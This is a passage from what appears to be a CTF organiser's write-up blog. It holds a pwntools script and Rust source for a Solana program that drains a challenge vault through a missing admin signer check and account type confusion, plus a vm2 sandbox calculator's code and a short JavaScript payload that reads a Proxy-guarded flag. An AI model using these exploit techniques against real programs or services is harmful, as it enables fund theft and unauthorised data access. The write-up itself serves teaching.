import os os.system('cargo build-bpf') from pwn import args, remote from solana.publickey import PublicKey from solana.system_program import SYS_PROGRAM_ID host = args.HOST or 'localhost' port = args.PORT or 5000 r = remote(host, port) solve = open('target/deploy/solidarity_solve.so', 'rb').read() print(r.recvuntil(b'program len: ').decode()) r.sendline(str(len(solve)).encode()) r.send(solve) # get public keys print(r.recvuntil(b'program: ').decode()) program = PublicKey(r.recvline().strip().decode()) print(r.recvuntil(b'admin: ').decode()) admin = PublicKey(r.recvline().strip().decode()) print(r.recvuntil(b'user: ').decode()) user = PublicKey(r.recvline().strip().decode()) print(f"program: {program}") print(f"admin: {admin}") print(f"user: {user}") config, config_bump = PublicKey.find_program_address([b'CONFIG'], program) vault, vault_bump = PublicKey.find_program_address([b'VAULT'], program) proposal_id = 4294967295 proposal, proposal_bump = PublicKey.find_program_address([b'PROPOSAL', b'\xff\xff\xff\xff'], program) r.sendline(b'7') r.sendline(b'zzzz ' + program.to_base58()) r.sendline(b'ws ' + user.to_base58()) r.sendline(b'w ' + admin.to_base58()) r.sendline(b'w ' + config.to_base58()) r.sendline(b'w ' + vault.to_base58()) r.sendline(b'w ' + proposal.to_base58()) r.sendline(b'zzzz ' + SYS_PROGRAM_ID.to_base58()) r.sendline(b'0') r.interactive()

And here's the solidarity_solve.so source:

use borsh::BorshSerialize; use solana_program::{ account_info::{ next_account_info, AccountInfo, }, entrypoint::ProgramResult, instruction::{ AccountMeta, Instruction, }, program::invoke, pubkey::Pubkey, system_program, }; use solidarity::SolInstruction; pub fn process_instruction(_program: &Pubkey, accounts: &[AccountInfo], _data: &[u8]) -> ProgramResult { let account_iter = &mut accounts.iter(); let sol_program = next_account_info(account_iter)?; let user = next_account_info(account_iter)?; let admin = next_account_info(account_iter)?; let config = next_account_info(account_iter)?; let vault = next_account_info(account_iter)?; let proposal = next_account_info(account_iter)?; // proposal instruction is missing signing check on admin // so if we supply the admin's account, we can get it to generate a proposal invoke( &Instruction { program_id: *sol_program.key, accounts: vec![ AccountMeta::new(*config.key, false), AccountMeta::new(*admin.key, false), AccountMeta::new(*user.key, true), AccountMeta::new(*proposal.key, false), AccountMeta::new_readonly(system_program::id(), false), ], data: SolInstruction::Propose { proposal_id: 4294967295 }.try_to_vec().unwrap(), }, &[config.clone(), admin.clone(), user.clone(), proposal.clone()] )?; // type confusion between proposal & config in withdraw // the balance check can be bypassed by making sure struct layout for proposal has a high total_balance invoke( &Instruction { program_id: *sol_program.key, accounts: vec![ AccountMeta::new(*proposal.key, false), AccountMeta::new(*vault.key, false), AccountMeta::new(*user.key, true), AccountMeta::new_readonly(system_program::id(), false), ], data: SolInstruction::Withdraw { amount: 75_000 }.try_to_vec().unwrap(), }, &[proposal.clone(), vault.clone(), user.clone()] )?; Ok(()) }

corctf{solid4rity_for_the_ott3r_cause}

sbxcalc

sbxcalc was another classic CTF staple: a sandboxed calculator running the equivalent of eval.

This challenge was inspired by zer0pts CTF 2021's challenge "Kantan Calc" which I had a lot of fun solving.

This calculator was implemented using vm2, a fairly well-known and usually secure NodeJS sandbox. There aren't any known 0days for vm2's latest version, so we'll have to look at the code.

Here's the code:

const express = require("express"); const vm2 = require("vm2"); const PORT = process.env.PORT || "4000"; const app = express(); app.set("view engine", "hbs"); // i guess you can have some Math functions... let sandbox = Object.create(null); ["E", "PI", "sin", "cos", "tan", "log", "pow", "sqrt"].forEach(v => sandbox[v] = Math[v]); // oh, and the flag too i guess... sandbox.flag = new Proxy({ FLAG: process.env.FLAG || "corctf{test_flag}" }, { get: () => "nope" // :') }); // no modifying the sandbox, please sandbox = Object.freeze(sandbox); app.get("/", (req, res) => { let output = ""; let calc = req.query.calc; if (calc) { calc = `${calc}`; if(calc.length > 75) { output = "Error: calculation too long"; } let whitelist = /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/; // this is a calculator sir if(!whitelist.test(calc)) { output = "Error: bad characters in calculation"; } if(!output) { try { const vm = new vm2.VM({ timeout: 100, eval: false, sandbox, }); output = `${vm.run(calc)}`; if (output.includes("corctf")) { output = "Error: no."; } } catch (e) { console.log(e); output = "Error: error occurred"; } } } res.render("index", { output, calc }); }); app.listen(PORT, () => console.log(`sbxcalc listening on ${PORT}`));

So, there's a VM2 vm that runs our JavaScript expression. We're provided some stuff in our sandbox: some random Math functions and variables... as well as a Proxy that contains the flag?

if you don't know what a Proxy is in JavaScript, read the docs here. But essentially, we can intercept operations on an object. The proxy has a custom handler for the get operation, which means all attempts to get will be intercepted and "nope" would be returned.

There are two steps to this challenge:

  1. figure out how to get the flag from the proxy
  2. golf time!

Both steps are fairly difficult. For the first step, looking at the MDN docs for Proxy we can see all the possible handlers. Since get is blocked, is there another one we can use instead?

Yes! getOwnPropertyDescriptor is not blocked by the proxy, so we can do Object.getOwnPropertyDescriptor to get direct access to the property descriptor, returning the configuration of the property including its value!

This gives us direct access to the real flag. Now, we just need to figure out how to do it in 75 chars while not using any banned characters.

The regexp for the whitelist is: /^([\w+\-*/() ]|([0-9]+[.])+[0-9]+)+$/. Kind of quirky, but the first section is the list of allowed characters, and the second section just allows floating point numbers.

So essentially, we have:

  1. any letter character
  2. +, -, *, /
  3. ()
  4. space

This is a perfect time to use with! with is a statement in JS that isn't recommended for use anymore, but basically it allows you to combine the current scope with the scope of another object.

For example:

with(console) log(5) // logs 5, is equivalent to console.log(5)

Knowing this, it's just a matter of golfing heavily (and also making sure that the string "corctf" doesn't appear). Here's my 75 character solution:

with(Object)with(getOwnPropertyDescriptors(flag))with(1+values(FLAG))at(##)

Instead of using Object.getOwnPropertyDescriptor, we use Object.getOwnPropertyDescriptors since we can't provide multiple arguments. We stringify Object.values(FLAG) by adding 1 to it, and then use String.prototype.at to get the flag char-by-char.

But, there are better solutions in less characters :)

corctf{d0nt_you_just_l0ve_j4vascript?}


Anyway, those are the writeups for the challenges I made. I had a lot of fun hosting this CTF, and hope you guys enjoyed the challenges / learned something along the way :)

Writing the challenges is always a lot of fun, and I even got to write two pwn challenges this year :) (hope you enjoyed babypwn btw, that's what you get if you get your web person to make pwn challs)

Hope to see you again next year! Feel free to DM me on Discord @ Strellic#2507 if you have any questions.

Also, follow me on Twitter. Also also, if you're going to DEF CON Finals in-person and want to say hi, hit me up :)

Thanks for reading!